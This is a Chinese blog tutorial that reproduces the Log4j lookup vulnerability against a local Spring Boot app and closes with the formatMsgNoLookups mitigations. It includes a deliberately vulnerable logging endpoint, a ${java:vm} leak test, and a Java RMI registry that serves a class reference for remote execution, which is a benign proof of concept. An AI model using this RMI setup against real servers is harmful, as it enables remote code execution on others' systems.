1. 前景提要

Log4j 史诗级漏洞这几天闹的沸沸扬扬,让我也想一探究竟,到底是怎么触发的。

2. 搭建一个集成 Log4j 的 SpringBoot 项目

根据 spring 官网的指引,创建一个 springboot 项目,然后对 pom 文件进行一个修改

<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

    </dependencies>

2.1 查看引入的依赖

可以看到我引入的 log4j 的依赖是 2.15.0 版本以下的,也就是会触发这个 bug 的

spring actuator漏洞 springboot 漏洞利用_spring actuator漏洞

2.2 写一个常用的接口接受外部传入的参数

package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.annotation.PostConstruct;

@SpringBootApplication
@Controller
public class LearnApplication {

    private static final Logger logger = LogManager.getLogger(LearnApplication.class);

    public static void main(String[] args) {
        SpringApplication.run(LearnApplication.class, args);
    }

    @PostMapping("/hack")
    @ResponseBody
    public String testHackExecute(@RequestBody String content){
        logger.info("content:{}", content);
        return content;
    }

}

这里写了一个 hack 的接口,当接口有参数传入的时候,会进行打印,这种代码大家几乎都有写过的吧。这也是这个漏洞非常严重的原因之一:易于触发

3. 测试漏洞

3.1 传入指定参数打印 vm 信息

使用 postman 进行调用接口,可以看到成功返回。

spring actuator漏洞 springboot 漏洞利用_spring boot_02

728 x 378 1766 x 916

让我们去系统的日志看看,打印不是 ${java:vm},而是 JDK 的信息!

spring actuator漏洞 springboot 漏洞利用_spring actuator漏洞_03

728 x 160 2096 x 462

3.2 测试 rmi 远程调用

如果仅仅只是上面的那种情况还好说,至少只是生成一些错误日志,但是这个 rmi 远程调用的危害就很大。

让我们先用 java 原生的 rmi 写一个注册中心,然后注册一个服务

public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            System.out.println("service started");
            registry.bind("hack", referenceWrapper);
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

再一个可以被执行的类

public class HackExecute {

    static {
        System.out.println("HackExecute:Successful execution");
    }

}

我们把上面的服务 rmi 服务进行启动,然后使用 postman 进行调用。

spring actuator漏洞 springboot 漏洞利用_apache_04

728 x 395 1772 x 962

当我们在控制台进行日志查看的时候,你就会发现,rmi 远程调用被成功执行了!

spring actuator漏洞 springboot 漏洞利用_spring boot_05

728 x 145 2236 x 446

这意味着我可以把自己写的代码,通过这种方式在对方的服务器进行执行,不愧是史诗级漏洞。

4. 紧急补救措施

(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置 log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true